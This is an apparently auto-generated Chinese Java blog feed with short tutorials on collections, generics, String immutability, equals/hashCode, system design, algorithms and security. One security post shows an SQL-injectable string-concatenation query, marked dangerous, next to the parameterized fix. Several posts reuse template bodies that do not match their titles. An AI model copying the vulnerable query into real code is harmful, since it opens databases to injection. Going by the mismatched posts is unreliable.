        <content type="html"><![CDATA[<h1 id="ArrayList-扩容机制和使用建议"><a href="#ArrayList-扩容机制和使用建议" class="headerlink" title="ArrayList 扩容机制和使用建议"></a>ArrayList 扩容机制和使用建议</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 反射的使用场景和风险</title>
      <link href="//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/"/>
      <url>//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-反射的使用场景和风险"><a href="#Java-反射的使用场景和风险" class="headerlink" title="Java 反射的使用场景和风险"></a>Java 反射的使用场景和风险</h1><p>Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 异常体系和业务异常设计</title>
      <link href="//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/"/>
      <url>//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-异常体系和业务异常设计"><a href="#Java-异常体系和业务异常设计" class="headerlink" title="Java 异常体系和业务异常设计"></a>Java 异常体系和业务异常设计</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 泛型的类型擦除到底是什么</title>
      <link href="//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/"/>
      <url>//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-泛型的类型擦除到底是什么"><a href="#Java-泛型的类型擦除到底是什么" class="headerlink" title="Java 泛型的类型擦除到底是什么"></a>Java 泛型的类型擦除到底是什么</h1><p>泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。</p><h2 id="泛型解决了什么问题"><a href="#泛型解决了什么问题" class="headerlink" title="泛型解决了什么问题"></a>泛型解决了什么问题</h2><p>没有泛型时，集合里什么都能放：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">List</span> <span class="variable">list</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">Integer</span> <span class="variable">value</span> <span class="operator">=</span> (Integer) list.get(<span class="number">0</span>); <span class="comment">// 运行时报错</span></span><br></pre></td></tr></table></figure><p>使用泛型后，编译期就能发现问题：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> list.get(<span class="number">0</span>);</span><br></pre></td></tr></table></figure><h2 id="类型擦除的影响"><a href="#类型擦除的影响" class="headerlink" title="类型擦除的影响"></a>类型擦除的影响</h2><p>运行时 <code>List&lt;String&gt;</code> 和 <code>List&lt;Integer&gt;</code> 都会被擦除成 <code>List</code>。所以不能这样判断：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 编译不通过</span></span><br><span class="line"><span class="keyword">if</span> (list <span class="keyword">instanceof</span> List&lt;String&gt;) &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java String 为什么设计成不可变</title>
      <link href="//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/"/>
      <url>//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-String-为什么设计成不可变"><a href="#Java-String-为什么设计成不可变" class="headerlink" title="Java String 为什么设计成不可变"></a>Java String 为什么设计成不可变</h1><p>String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。</p><h2 id="不可变是什么意思"><a href="#不可变是什么意思" class="headerlink" title="不可变是什么意思"></a>不可变是什么意思</h2><p>下面的代码看起来像修改了字符串：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;java&quot;</span>;</span><br><span class="line">name = name + <span class="string">&quot;-blog&quot;</span>;</span><br></pre></td></tr></table></figure><p>实际上原来的 <code>java</code> 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。</p><h2 id="为什么这样设计"><a href="#为什么这样设计" class="headerlink" title="为什么这样设计"></a>为什么这样设计</h2><ul><li>线程安全：多个线程共享同一个字符串，不会互相改坏。</li><li>哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。</li><li>常量池复用：相同字面量可以复用，减少内存浪费。</li></ul><h2 id="什么时候用-StringBuilder"><a href="#什么时候用-StringBuilder" class="headerlink" title="什么时候用 StringBuilder"></a>什么时候用 StringBuilder</h2><p>循环拼接大量字符串时，不要一直用 <code>+</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">StringBuilder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">1000</span>; i++) &#123;</span><br><span class="line">    builder.append(i).append(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> builder.toString();</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 中 equals 和 hashCode 的正确理解</title>
      <link href="//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/"/>
      <url>//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-中-equals-和-hashCode-的正确理解"><a href="#Java-中-equals-和-hashCode-的正确理解" class="headerlink" title="Java 中 equals 和 hashCode 的正确理解"></a>Java 中 equals 和 hashCode 的正确理解</h1><p>Java 里判断对象是否相等，不能只看 <code>==</code>。<code>==</code> 比较的是引用地址，<code>equals</code> 通常表示业务意义上的相等。只要重写 <code>equals</code>，一般也要重写 <code>hashCode</code>，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。</p><h2 id="一个最小例子"><a href="#一个最小例子" class="headerlink" title="一个最小例子"></a>一个最小例子</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object o)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span> == o) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">if</span> (!(o <span class="keyword">instanceof</span> User)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> (User) o;</span><br><span class="line">        <span class="keyword">return</span> Objects.equals(id, user.id);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Objects.hash(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="为什么-hashCode-也要改"><a href="#为什么-hashCode-也要改" class="headerlink" title="为什么 hashCode 也要改"></a>为什么 hashCode 也要改</h2><p>HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Set&lt;User&gt; users = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">System.out.println(users.size()); <span class="comment">// 期望输出 1</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>文件上传服务如何保证稳定</title>
      <link href="//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/"/>
      <url>//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/</url>
      
        <content type="html"><![CDATA[<h1 id="文件上传服务如何保证稳定"><a href="#文件上传服务如何保证稳定" class="headerlink" title="文件上传服务如何保证稳定"></a>文件上传服务如何保证稳定</h1><p>文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>订单超时取消如何实现</title>
      <link href="//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/"/>
      <url>//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="订单超时取消如何实现"><a href="#订单超时取消如何实现" class="headerlink" title="订单超时取消如何实现"></a>订单超时取消如何实现</h1><p>订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>秒杀系统的核心设计思路</title>
      <link href="//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/"/>
      <url>//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="秒杀系统的核心设计思路"><a href="#秒杀系统的核心设计思路" class="headerlink" title="秒杀系统的核心设计思路"></a>秒杀系统的核心设计思路</h1><p>秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>短链接系统如何设计</title>
      <link href="//duan-lian-jie-xi-tong-ru-he-she-ji/"/>
      <url>//duan-lian-jie-xi-tong-ru-he-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="短链接系统如何设计"><a href="#短链接系统如何设计" class="headerlink" title="短链接系统如何设计"></a>短链接系统如何设计</h1><p>短链接系统是一个经典的系统设计题。本文讲它的核心思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>布隆过滤器适合解决什么问题</title>
      <link href="//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/"/>
      <url>//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="布隆过滤器适合解决什么问题"><a href="#布隆过滤器适合解决什么问题" class="headerlink" title="布隆过滤器适合解决什么问题"></a>布隆过滤器适合解决什么问题</h1><p>布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>LRU 缓存淘汰算法动手实现</title>
      <link href="//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/"/>
      <url>//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="LRU-缓存淘汰算法动手实现"><a href="#LRU-缓存淘汰算法动手实现" class="headerlink" title="LRU 缓存淘汰算法动手实现"></a>LRU 缓存淘汰算法动手实现</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>二分查找为什么容易写错</title>
      <link href="//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/"/>
      <url>//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/</url>
      
        <content type="html"><![CDATA[<h1 id="二分查找为什么容易写错"><a href="#二分查找为什么容易写错" class="headerlink" title="二分查找为什么容易写错"></a>二分查找为什么容易写错</h1><p>二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>密码存储为什么不能明文</title>
      <link href="//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/"/>
      <url>//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/</url>
      
        <content type="html"><![CDATA[<h1 id="密码存储为什么不能明文"><a href="#密码存储为什么不能明文" class="headerlink" title="密码存储为什么不能明文"></a>密码存储为什么不能明文</h1><p>密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
